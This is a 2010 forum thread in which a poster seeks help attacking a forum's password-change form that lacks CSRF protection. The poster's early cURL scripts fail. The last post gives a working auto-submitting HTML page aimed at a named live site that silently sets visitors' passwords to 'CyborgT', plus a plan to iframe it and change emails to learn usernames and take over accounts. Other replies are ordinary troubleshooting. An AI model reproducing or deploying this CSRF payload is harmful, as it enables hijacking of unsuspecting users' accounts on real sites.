Need curl help! Extremely frustrated!

a334jv2df · #1 01-07-2010, 05:28 PM

CURL support enabled
CURL Information libcurl/7.13.2 OpenSSL/0.9.7e zlib/1.2.2 libidn/0.5.13

I found a website with a "change password" form that doesn't require the previous password to change it. Here is what the form looks like:

<form action="http://www.edit.com/edit/control.php?1" method="POST">
<input type="hidden" name="panel" value="password" />
<input type="hidden" name="forum_id" value="1" />
<input type="password" name="password" size="30" value="" />
<input type="password" name="password2" size="30" value="" />
<input type="submit" value=" Submit " />
</form>

I coped this form, uploaded it to my server, logged into the website, and used it to change my password (so I changed my password from a foreign server). Now, I'm trying to write a cURL script that automatically changes a users password if he is logged in. Here is my script:

Code:

<?php
$fields = array (
    'panel' => 'email',
    'forum_id' => '1',
    'password' => 'new',
    'password2' => 'new'
);

$url = 'http://www.edit.com/edit/control.php?1';

$ch = curl_init($url);

curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_REFERER, "http://www.edit.com/edit/control.php?1,panel=password"); 
curl_setopt($ch, CURLOPT_POSTFIELDS, $fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$result = curl_exec($ch);

echo $result;

?>

It keeps returning 1. I don't understand what I'm doing wrong. If I can send post data with a html form surely I can send it using curl.

a334jv2df · #2 01-07-2010, 06:03 PM

Code:

<html>
<head>
<title></title>
</head>

<body>
<?php
$fields = array (
    'panel' => 'user',
    'forum_id' => '1',
    'password' => 'new',
    'password2' => 'new'
);

$url = 'http://www.EEE.com/EEE/control.php?1';

$ch = curl_init($url);

curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_REFERER, "http://www.EEE.com/EEE/control.php?1,panel=password"); 
curl_setopt($ch, CURLOPT_POSTFIELDS, $fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$result = curl_exec($ch);

curl_close($ch);

echo $result;

?>
</body>

For some reason it keeps redirecting me to the log in page (even though I'm already logged in). I don't understand why a simple html form would work but my curl script doesnt

**The Cheshire Cat** · #3 01-11-2010, 02:23 PM

I'm going to move this to codes of all kinds. I think you'll get a bit better of a response there.

**Zok** · #4 01-17-2010, 05:49 PM

You need to post the url for the place you're trying to log into - or the code to the form, at least - because it's possible that you're missing fields.

It's also possible that it's rejecting your script because you're user-agent is something it doesn't like.

It's ALSO possible that the server is setting a session variable when you visit the login page. When you try to log in it checks to see if that session variable exists. Since your php script never visited the login page, it didn't register.

There are tons of possible reasons this isn't working...

a334jv2df · #5 01-17-2010, 08:31 PM

Quote:

Originally Posted by Zok

You need to post the url for the place you're trying to log into - or the code to the form, at least - because it's possible that you're missing fields.

Impossible because it works when I submit the data from an html form on my server. Same fields regardless.

Quote:

Originally Posted by Zok

It's also possible that it's rejecting your script because you're user-agent is something it doesn't like.

Impossible because it works when I submit the data from an html form on my server. Same user agent regardless.

Quote:

Originally Posted by Zok

It's ALSO possible that the server is setting a session variable when you visit the login page. When you try to log in it checks to see if that session variable exists. Since your php script never visited the login page, it didn't register.

Impossible because it works when I submit the data from an html form on my server. The session variable isn't set till the log in is processed (well, before actually, but on the page that processes the data)

I originally posted this in the Securities forum because I'm not looking for a fix in my code (although I agree I'll get a better response here.. It's more of a theory. Why would the data when when it's send from a foreign html form but not from a cURL script?

It can be done with html/javascript anyway. I didn't post the link to begin with because I wanted to figure this out before any of you fucked it up, but I guess I'll post it now

Code:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
    <head>
        <title>Untitled Document</title>
        <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /><script language="javascript">
	function subForm() {
		document.forms["mainForm"].submit();
	}
</script>
    </head>
    <body onLoad="javascript: subForm()" spellcheck="false">
        <form action="http://www.dlxsf.com/dlxsfmb/control.php?1" method="post" id="mainForm">
            <input type="hidden" value="password" name="panel" /> 
            <input type="hidden" value="1" name="forum_id" />  
            <input type="hidden" value="CyborgT" name="password" /> 
            <input type="hidden" value="CyborgT" name="password2" />
        </form>
    </body>
</html>

If you write a script that changes their email too you'll know who has visited each page (it will send a confirmation before changing the email address in the database with the username). Then, create an index, iframe the above page, and log into accounts

Register	Home	IRC Chat	FAQ	Members List
Social Groups
- View All Groups
- Your Group Messages
Calendar	Search	Today's Posts	Mark Forums Read